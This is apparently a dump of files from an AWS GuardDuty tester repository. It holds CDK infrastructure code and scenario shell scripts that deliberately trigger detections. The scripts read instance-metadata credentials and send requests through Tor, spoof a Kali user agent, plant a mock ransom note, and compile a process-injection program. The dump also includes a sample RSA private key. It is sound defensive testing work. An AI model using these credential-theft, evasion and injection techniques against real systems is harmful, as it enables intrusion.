""\r\nsignal NEWNYM\r\nQUIT' | nc 127.0.0.1 9051 29 | torify awscurl --access_key=$AWS_ACCESS_KEY_ID --secret_key $AWS_SECRET_ACCESS_KEY --session_token $AWS_SESSION_TOKEN --region $REGION --service s3 $URL -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/s3/UnauthTorIPCaller.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | EC2_TOKEN=`curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` 15 | ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $EC2_TOKEN" -v http://169.254.169.254/latest/meta-data/iam/security-credentials/${ROLE_NAME}) 16 | AWS_ACCESS_KEY_ID=$(echo $ROLE | jq .AccessKeyId | xargs) 17 | AWS_SECRET_ACCESS_KEY=$(echo $ROLE | jq .SecretAccessKey | xargs) 18 | AWS_SESSION_TOKEN=$(echo $ROLE | jq .Token | xargs) 19 | 20 | if [ $REGION = "us-east-1" ]; then 21 | URL="https://$S3_BUCKET_NAME.s3.amazonaws.com/py_tester/script_tail.sh" 22 | else 23 | URL="https://$S3_BUCKET_NAME.s3.$REGION.amazonaws.com/py_tester/script_tail.sh" 24 | fi 25 | 26 | source /home/ssm-user/gd_tester_pyenv/bin/activate 27 | 28 | echo -e 'AUTHENTICATE ""\r\nsignal NEWNYM\r\nQUIT' | nc 127.0.0.1 9051 29 | torify awscurl --access_key=$AWS_ACCESS_KEY_ID --secret_key $AWS_SECRET_ACCESS_KEY --session_token $AWS_SESSION_TOKEN --region $REGION --service s3 $URL -------------------------------------------------------------------------------- /artifacts/never_used_sample_key.foo: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEowIBAAKCAQEAhXi8JHSHWcETzpLkOYvgycYkgNnvEhRe+IUJ2VyAMwOrvOdu0UbTrMtk9GjY 3 | 7K/RsADsugvdunWBDBm5gT2GG5PgEbrj45ae0nzT6kHgSZcVJ98KQHBOCXPYIo+hHA5aicRG9khb 4 | xqrXo0rJkv9PFl/guNdUdDAp9vRY9KAylGoVC1TgZGpC8q3nyZt/3WK99puI2EdOEOY0E6mO+4tc 5 | tlKe5wCxkGzhndUezPvIxW3rilja0OZbvZ6xj0rWKGJguUm1ODjO/hGOUsbcQpQ1RMrNdXtrnnsQ 6 | ttHP5KHC+BrQhDKePtuVpqeu/pqqLXsH7xHf7tN71PaLzmXDfJ8YiwIDAQABAoIBADGrlbCnYPto 7 | 2/sjNSWpRXUxdMIy2EJNLG6l691lDBxwAEhjhB0Dk6CZbK98GUYzxAAQyAgQhGpwch7Tr/JFuBOp 8 | O1i9yTMYCXDhnWdvLo2UWP4mhcUnRhNEdimec+FiAhWE4reig+zyBR+ypEM9GeyEr7d6AubeSa+q 9 | jTQ0Lb6HFhjXY+ZycmJcYAgpuO1kaftjnSzETZB0aFJZqy+VpEGMdRxy+3sErXu3W17GFvpx+8KP 10 | 6aocjkm+9LCPQmsQ8KJRzzrT8Tr74/lYjBPhkqUnTUfb/tWUY3fJ55uYZjgjhS8Fc3yfbdZevCqG 11 | KFoxJR7SoSuRSz+yGF4nSg0PTtECgYEAwvwsfpeHiuhcJsbnahVEZ9Ky26KG+49MHJChqkS9UDEh 12 | WmG8VI08XnZk6i4cxexlkTjy+8npF3omssm/zJhEGMrXK3Erll0ykiweSa04LFe8/BC2RUGgHqLY 13 | yEdJAurH26GXXsFRm8zeyfA3C3Kzla73g4sN4jp3Rr0Y9hx4dXMCgYEArzzaw0s6kPFXElJSf3L6 14 | PtcMCJQMD9MGGoGCSbLWyKBvGIfTxIovDEwy56Xrg92WqaUh2ez8shXr9NN2STM1rk/ZwV76CG3Y 15 | mn/PgqJ73YaTrPq94QQ9vQ7jdzgTdurC/kNuKPl7ogSQB4YsFYv1lfW/hiHkCAmkL3k9hGO3SokC 16 | gYEAg0DlYsH2B9eqUKAMHyj5xznaFGcvnh80CPaDHO7w0Q6BeSnZcMEyJhRkkg9AZyteo4dGaZ/d 17 | PGSJsEiGx96n2FiSxzeDM9DAvgzcxpPIAHF/Ud6eE7i9ZGISs57o0wHgT0RTdQGFQe+C+USuiRJJ 18 | OTVygCYWzna02/Vm3CUGIWkCgYAey4XyPf0rzY2spZTj2tPJSUdPFp1MBpyS+eFojCoclb0QRYZc 19 | iqAb/CQR+2F5Ce7ZHzDkuDXsIdgWbTbjREGRwWyWA9fStWMUO5O+9EjqNCUth97odTNYTw6AO/WH 20 | t1fPERCB2N32KfEZsWV7392nnckrjDcjhnY49YhvBIsIaQKBgE5w2DBPEF3MaZdmmcXqb6UBJXy6 21 | F4hNFhlGr3Y11f7u6rY3sYl6EkvLDPPg8CUKgtEPCKwoACCVHdtTZ42RXRVgzwhY3kRNQM1WneKM 22 | W1rsM0jS6Ayo+dLs0U7LhdRcEKPHsw9bJau3Nr5mm+sjC791nj4wUEctYWFuh0idgTk7 23 | -----END RSA PRIVATE KEY----- -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/s3/KaliLinux.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | CREDS=$(aws sts assume-role --role-arn ${TEMP_ROLE_ARN} --role-session-name s3_pentest) 15 | export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq .Credentials.AccessKeyId | xargs) 16 | export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq .Credentials.SecretAccessKey | xargs) 17 | export AWS_SESSION_TOKEN=$(echo $CREDS | jq .Credentials.SessionToken | xargs) 18 | 19 | export KALI_USER_AGENT_HEADER='aws-cli/2.23.6 md/awscrt#1.0.0.dev0 ua/2.0 os/linux#6.12.13-cloud-amd64 md/arch#x86_64 lang/python#3.13.2 md/pyimpl#CPython cfg/retry-mode#standard md/installer#source md/distrib#kali.2025 md/prompt#off md/command#s3api.list-objects' 20 | 21 | source /home/ssm-user/gd_tester_pyenv/bin/activate 22 | 23 | awscurl --access_key=$AWS_ACCESS_KEY_ID \ 24 | --secret_key=$AWS_SECRET_ACCESS_KEY \ 25 | --session_token=$AWS_SESSION_TOKEN \ 26 | --region $REGION \ 27 | --service s3 \ 28 | --header "User-Agent: $KALI_USER_AGENT_HEADER" \ 29 | "https://$S3_BUCKET_NAME.s3-$REGION.amazonaws.com/" >> /dev/null 2>&1 30 | 31 | unset AWS_ACCESS_KEY_ID 32 | unset AWS_SECRET_ACCESS_KEY 33 | unset AWS_SESSION_TOKEN 34 | -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/iam/KaliLinux.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | CREDS=$(aws sts assume-role --role-arn ${TEMP_ROLE_ARN} --role-session-name s3_pentest) 15 | export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq .Credentials.AccessKeyId | xargs) 16 | export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq .Credentials.SecretAccessKey | xargs) 17 | export AWS_SESSION_TOKEN=$(echo $CREDS | jq .Credentials.SessionToken | xargs) 18 | 19 | export KALI_USER_AGENT_HEADER='aws-cli/2.23.6 md/awscrt#1.0.0.dev0 ua/2.0 os/linux#6.12.13-cloud-amd64 md/arch#x86_64 lang/python#3.13.2 md/pyimpl#CPython cfg/retry-mode#standard md/installer#source md/distrib#kali.2025 md/prompt#off md/command#iam.get-user' 20 | 21 | source /home/ssm-user/gd_tester_pyenv/bin/activate 22 | 23 | awscurl --access_key=$AWS_ACCESS_KEY_ID \ 24 | --secret_key=$AWS_SECRET_ACCESS_KEY \ 25 | --session_token=$AWS_SESSION_TOKEN \ 26 | --service iam \ 27 | --header "User-Agent: $KALI_USER_AGENT_HEADER" \ 28 | "https://iam.amazonaws.com/?Action=GetUser&Version=2010-05-08" >> /dev/null 2>&1 29 | 30 | unset AWS_ACCESS_KEY_ID 31 | unset AWS_SECRET_ACCESS_KEY 32 | unset AWS_SESSION_TOKEN 33 | unset IAM_REGION 34 | unset KALI_USER_AGENT_HEADER 35 | -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/runtime/ProcessInjection-VirtualMemoryWrite.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | echo '#include 15 | #include 16 | #include 17 | #include 18 | 19 | int main(int argc, char **argv) { 20 | 21 | 22 | pid_t child = fork(); 23 | if(child == 0) { 24 | execvp("/bin/ls", NULL); 25 | } 26 | 27 | pid_t pid = child; 28 | 29 | void *remotePtr = 0x5567fd9922a0; 30 | size_t bufferLength = 128; 31 | 32 | struct iovec local[1]; 33 | local[0].iov_base = calloc(bufferLength, sizeof(char)); 34 | local[0].iov_len = bufferLength; 35 | 36 | struct iovec remote[1]; 37 | remote[0].iov_base = remotePtr; 38 | remote[0].iov_len = bufferLength; 39 | 40 | ssize_t nread = process_vm_readv(pid, local, 2, remote, 1, 0); 41 | if (nread < 0) { 42 | printf(" * Failed process_vm_read\n", nread); 43 | } 44 | 45 | ssize_t nwrite = process_vm_writev(pid, local, 1, remote, 2, 0); 46 | if (nread < 0) { 47 | printf(" * Failed process_vm_write\n", nread); 48 | } 49 | return 0; 50 | }' > vmRwTest.c 51 | 52 | gcc vmRwTest.c -o vmRwTest -w 53 | 54 | ./vmRwTest 55 | 56 | rm vmRwTest.c 57 | rm vmRwTest -------------------------------------------------------------------------------- /lib/common/access/iam/finding-lambda-role.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import { Effect, PolicyDocument, PolicyStatement, Role, ServicePrincipal } from 'aws-cdk-lib/aws-iam'; 15 | import { Construct } from 'constructs'; 16 | 17 | import { FindingLambdaProps } from '../../compute/lambda/finding-lambda'; 18 | 19 | /** 20 | * Simple IAM role with no permissions that can be assumed by lambda function 21 | * Used for GuardDuty finding generating lambda function. 22 | */ 23 | export class FindingLambdaRole extends Construct { 24 | public readonly role: Role; 25 | constructor(scope: Construct, id: string, props: FindingLambdaProps) { 26 | super(scope, id); 27 | 28 | this.role = new Role(this, id, { 29 | assumedBy: new ServicePrincipal('lambda.amazonaws.com'), 30 | inlinePolicies: { 31 | EcsTaskExecInline: new PolicyDocument({ 32 | statements: [ 33 | new PolicyStatement({ 34 | effect: Effect.ALLOW, 35 | actions: ['logs:CreateLogStream', 'logs:CreateLogGroup', 'logs:PutLogEvents'], 36 | resources: [`arn:aws:logs:${props.region}:${props.accountId}:*`], 37 | }), 38 | ], 39 | }), 40 | }, 41 | }); 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/attack/S3CompromisedData.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | CREDS=$(aws sts assume-role --role-arn ${TEMP_ROLE_ARN} --role-session-name s3_compromised_data) 15 | export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq .Credentials.AccessKeyId | xargs) 16 | export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq .Credentials.SecretAccessKey | xargs) 17 | export AWS_SESSION_TOKEN=$(echo $CREDS | jq .Credentials.SessionToken | xargs) 18 | 19 | # List users 20 | aws iam list-users --region $REGION &> /dev/null || true 21 | 22 | # List roles 23 | aws iam list-roles --region $REGION &> /dev/null || true 24 | 25 | # List buckets 26 | aws s3api list-buckets --region $REGION &> /dev/null || true 27 | 28 | # List objects 29 | aws s3api list-objects --bucket "$ATTACK_BUCKET_NAME" --region $REGION &> /dev/null || true 30 | 31 | # Put a ransom note object 32 | RANSOM_NOTE="Test ransom note" 33 | echo "$RANSOM_NOTE" > ransom_note.txt 34 | aws s3 cp ransom_note.txt "s3://$ATTACK_BUCKET_NAME/RANSOM_NOTE.txt" --region $REGION &> /dev/null || true 35 | rm -f ransom_note.txt 36 | 37 | # Delete the ransom note object 38 | aws s3api delete-object --bucket "$ATTACK_BUCKET_NAME" --key "RANSOM_NOTE.txt" --region $REGION &> /dev/null || true 39 | 40 | unset AWS_ACCESS_KEY_ID 41 | unset AWS_SECRET_ACCESS_KEY 42 | unset AWS_SESSION_TOKEN -------------------------------------------------------------------------------- /lib/common/access/iam/tester-temp-tole.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import { AccountPrincipal, Effect, PolicyDocument, PolicyStatement, Role } from 'aws-cdk-lib/aws-iam'; 15 | import { Construct } from 'constructs'; 16 | 17 | export interface TempRoleProps { 18 | accountId: string; 19 | bucketArn: string; 20 | } 21 | 22 | /** 23 | * Temporary role to be assumed by Debian instance during testing 24 | */ 25 | export class TempRole extends Construct { 26 | public readonly arn: string; 27 | constructor(scope: Construct, id: string, props: TempRoleProps) { 28 | super(scope, id); 29 | 30 | const role = new Role(this, id, { 31 | assumedBy: new AccountPrincipal(props.accountId), 32 | inlinePolicies: { 33 | TempRolePolicy: new PolicyDocument({ 34 | statements: [ 35 | new PolicyStatement({ 36 | sid: 'ListBucketForTest', 37 | effect: Effect.ALLOW, 38 | actions: ['s3:ListBucket'], 39 | resources: [props.bucketArn], 40 | }), 41 | new PolicyStatement({ 42 | sid: 'ListAllMyBucketsForTest', 43 | effect: Effect.ALLOW, 44 | actions: ['s3:ListAllMyBuckets'], 45 | resources: ['*'], 46 | }), 47 | ], 48 | }), 49 | }, 50 | }); 51 | 52 | this.arn = role.roleArn; 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /lib/common/access/securityGroup/eks-security-group.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import { Peer, Port, SecurityGroup } from 'aws-cdk-lib/aws-ec2'; 15 | import { Construct } from 'constructs'; 16 | 17 | import { type SecGroupProps } from './security-group-props'; 18 | import { ClusterSecurityGroup } from './cluster-security-group'; 19 | 20 | export interface EksSecGroupProps extends SecGroupProps { 21 | ecsSecurityGroup?: SecurityGroup; 22 | } 23 | 24 | /** 25 | * Allows TCP traffic from within VPC to the EKS cluster 26 | */ 27 | export class EksSecurityGroup extends Construct { 28 | public readonly sg: SecurityGroup; 29 | 30 | constructor(scope: Construct, id: string, props: EksSecGroupProps) { 31 | super(scope, id); 32 | this.sg = new SecurityGroup(this, id, { 33 | vpc: props.vpc, 34 | allowAllOutbound: true, 35 | }); 36 | 37 | this.sg.addIngressRule(Peer.ipv4(props.vpc.vpcCidrBlock), Port.allTraffic(), 'allow tcp traffic from within vpc'); 38 | 39 | // Allow all traffic from instances with the same security group 40 | //this.sg.addIngressRule(Peer.securityGroupId(this.sg.securityGroupId), Port.allTraffic(), 'allow all traffic from same security group'); 41 | 42 | if (props.ecsSecurityGroup) { 43 | this.sg.addIngressRule(Peer.securityGroupId(props.ecsSecurityGroup.securityGroupId), Port.allTcp(), 'allow tcp traffic from ECS cluster'); 44 | } 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /lib/common/access/iam/ecs-task-execution-role.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import { Effect, ManagedPolicy, PolicyDocument, PolicyStatement, Role, ServicePrincipal } from 'aws-cdk-lib/aws-iam'; 15 | import { Construct } from 'constructs'; 16 | 17 | export interface EcsTaskExecutionRoleProps { 18 | region: string; 19 | accountId: string; 20 | } 21 | 22 | /** 23 | * ECS task execution role for GuardDuty ECS Runtime finding tests 24 | */ 25 | export class EcsTaskExecutionRole extends Construct { 26 | public readonly role: Role; 27 | constructor(scope: Construct, id: string, props: EcsTaskExecutionRoleProps) { 28 | super(scope, id); 29 | 30 | this.role = new Role(this, id, { 31 | assumedBy: new ServicePrincipal('ecs-tasks.amazonaws.com'), 32 | inlinePolicies: { 33 | EcsTaskExecInline: new PolicyDocument({ 34 | statements: [ 35 | new PolicyStatement({ 36 | effect: Effect.ALLOW, 37 | actions: ['logs:CreateLogStream', 'logs:CreateLogGroup', 'logs:PutLogEvents'], 38 | resources: [`arn:aws:logs:${props.region}:${props.accountId}:*`], 39 | }), 40 | ], 41 | }), 42 | }, 43 | managedPolicies: [ 44 | ManagedPolicy.fromManagedPolicyArn( 45 | this, 46 | 'ManagedPolicy', 47 | 'arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy', 48 | ), 49 | ], 50 | }); 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /lib/common/storage/s3/tester-bucket.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import { RemovalPolicy } from 'aws-cdk-lib'; 15 | import { BlockPublicAccess, Bucket, BucketEncryption } from 'aws-cdk-lib/aws-s3'; 16 | import { BucketDeployment, Source } from 'aws-cdk-lib/aws-s3-deployment'; 17 | import { Construct } from 'constructs'; 18 | 19 | /** 20 | * TesterBucket class defines an S3 bucket for GuardDuty tester 21 | * The bucket is used for S3 protection tests 22 | * and contains some testing resources as well 23 | */ 24 | export class TesterBucket extends Construct { 25 | public readonly bucket: Bucket; 26 | public readonly bucketName: string; 27 | public readonly bucketArn: string; 28 | constructor(scope: Construct, id: string) { 29 | super(scope, id); 30 | 31 | this.bucket = new Bucket(this, id, { 32 | blockPublicAccess: BlockPublicAccess.BLOCK_ALL, 33 | encryption: BucketEncryption.S3_MANAGED, 34 | enforceSSL: true, 35 | versioned: false, 36 | removalPolicy: RemovalPolicy.DESTROY, 37 | autoDeleteObjects: true, 38 | }); 39 | 40 | // upload tester python + bash code to bucket 41 | new BucketDeployment(this, 'DeployTester', { 42 | sources: [Source.asset('./lib/common/testResources')], 43 | destinationBucket: this.bucket, 44 | destinationKeyPrefix: 'py_tester', 45 | }); 46 | 47 | this.bucketName = this.bucket.bucketName; 48 | this.bucketArn = this.bucket.bucketArn; 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /lib/common/compute/ec2/windows-instance.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import { Tags } from 'aws-cdk-lib'; 15 | import { Instance, SubnetType, WindowsImage, WindowsVersion } from 'aws-cdk-lib/aws-ec2'; 16 | import { Construct } from 'constructs'; 17 | 18 | import { WindowsSecurityGroup } from '../../access/securityGroup/windows-security-group'; 19 | import { type Ec2Props } from './ec2-props'; 20 | 21 | /** 22 | * Defines Windows Instance for GuardDuty testing 23 | * Resides in private subnet and only allows rdp ingress from within vpc 24 | */ 25 | export class BasicWindowsInstance extends Construct { 26 | public readonly ec2: Instance; 27 | constructor(scope: Construct, id: string, props: Ec2Props) { 28 | super(scope, id); 29 | 30 | this.ec2 = new Instance(this, id, { 31 | vpc: props.vpc, 32 | instanceType: props.instanceType, 33 | machineImage: new WindowsImage(WindowsVersion.WINDOWS_SERVER_2022_ENGLISH_FULL_BASE), 34 | vpcSubnets: props.vpc.selectSubnets({ 35 | subnetType: SubnetType.PRIVATE_WITH_EGRESS, 36 | }), 37 | securityGroup: new WindowsSecurityGroup(this, 'SecurityGroup', { 38 | vpc: props.vpc, 39 | ingressSgId: props.securityGroupIngress!, 40 | }).sg, 41 | associatePublicIpAddress: false, 42 | instanceName: props.instanceName, 43 | }); 44 | 45 | Tags.of(this.ec2).add(props.tag.key, props.tag.value); 46 | Tags.of(this.ec2).add(props.createdBy.key, props.createdBy.value); 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /lib/common/compute/lambda/test-settings-lambda.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import path = require('path'); 15 | import { Duration } from 'aws-cdk-lib'; 16 | import { Code, Function as LambdaFunction, Runtime } from 'aws-cdk-lib/aws-lambda'; 17 | import { Construct } from 'constructs'; 18 | 19 | import { SettingRestorationLambdaRole } from '../../access/iam/settings-lambda-role'; 20 | 21 | export interface SettingRestorationLambdaProps { 22 | region: string; 23 | accountId: string; 24 | } 25 | 26 | /** 27 | * SettingRestorationLambda class defines a lambda function that is used 28 | * to restore account settings after enough time to allow GuardDuty 29 | * to generate findings 30 | */ 31 | export class SettingRestorationLambda extends Construct { 32 | public readonly func: LambdaFunction; 33 | constructor(scope: Construct, id: string, props: SettingRestorationLambdaProps) { 34 | super(scope, id); 35 | this.func = new LambdaFunction(this, id, { 36 | runtime: Runtime.PYTHON_3_11, 37 | handler: 'setting_restore.lambda_handler', 38 | code: Code.fromAsset(path.join(__dirname, 'setting_restore'), { 39 | bundling: { 40 | image: Runtime.PYTHON_3_11.bundlingImage, 41 | command: ['bash', '-c', 'pip install -r requirements.txt -t /asset-output && cp -au . /asset-output'], 42 | }, 43 | }), 44 | timeout: Duration.seconds(900), 45 | role: new SettingRestorationLambdaRole(this, 'ExecutionRole', props).role, 46 | }); 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /lib/common/management/step-function/step-function.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import { Duration } from 'aws-cdk-lib'; 15 | import { DefinitionBody, StateMachine, Wait, WaitTime } from 'aws-cdk-lib/aws-stepfunctions'; 16 | import { LambdaInvoke } from 'aws-cdk-lib/aws-stepfunctions-tasks'; 17 | import { Construct } from 'constructs'; 18 | 19 | import { SettingRestorationLambda } from '../../compute/lambda/test-settings-lambda'; 20 | 21 | export interface SettingRestoreStepFuncProps { 22 | accountId: string; 23 | region: string; 24 | } 25 | 26 | export class SettingRestoreStepFunc extends Construct { 27 | public readonly machineArn: string; 28 | constructor(scope: Construct, id: string, props: SettingRestoreStepFuncProps) { 29 | super(scope, id); 30 | const settingLambda = new SettingRestorationLambda(this, 'Lambda', { 31 | region: props.region, 32 | accountId: props.accountId, 33 | }); 34 | 35 | const definition = new Wait(this, 'Wait15Min', { 36 | time: WaitTime.duration(Duration.minutes(15)), 37 | }).next( 38 | new LambdaInvoke(this, 'SettingsJob', { 39 | lambdaFunction: settingLambda.func, 40 | }), 41 | ); 42 | 43 | const stateMachine = new StateMachine(this, 'StateMachine', { 44 | definitionBody: DefinitionBody.fromChainable(definition), 45 | timeout: Duration.minutes(25), 46 | }); 47 | 48 | settingLambda.func.grantInvoke(stateMachine); 49 | this.machineArn = stateMachine.stateMachineArn; 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /lib/common/compute/lambda/finding-lambda.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import path = require('path'); 15 | import { Duration } from 'aws-cdk-lib'; 16 | import { Code, Function, Runtime } from 'aws-cdk-lib/aws-lambda'; 17 | import { Construct } from 'constructs'; 18 | 19 | import { FindingLambdaRole } from '../../access/iam/finding-lambda-role'; 20 | 21 | export interface FindingLambdaProps { 22 | accountId: string; 23 | region: string; 24 | } 25 | 26 | /** 27 | * TesterLambda class defines a lambda function that is used 28 | * to generate findings to demonstrate GuardDuty Lambda protection 29 | */ 30 | export class TesterLambda extends Construct { 31 | public readonly functionName: string; 32 | public readonly functionArn: string; 33 | constructor(scope: Construct, id: string, props: FindingLambdaProps) { 34 | super(scope, id); 35 | const func = new Function(this, id, { 36 | runtime: Runtime.PYTHON_3_11, 37 | handler: 'tester_lambda.lambda_handler', 38 | code: Code.fromAsset(path.join(__dirname, 'tester_lambda'), { 39 | bundling: { 40 | image: Runtime.PYTHON_3_11.bundlingImage, 41 | command: ['bash', '-c', 'pip install -r requirements.txt -t /asset-output && cp -au . 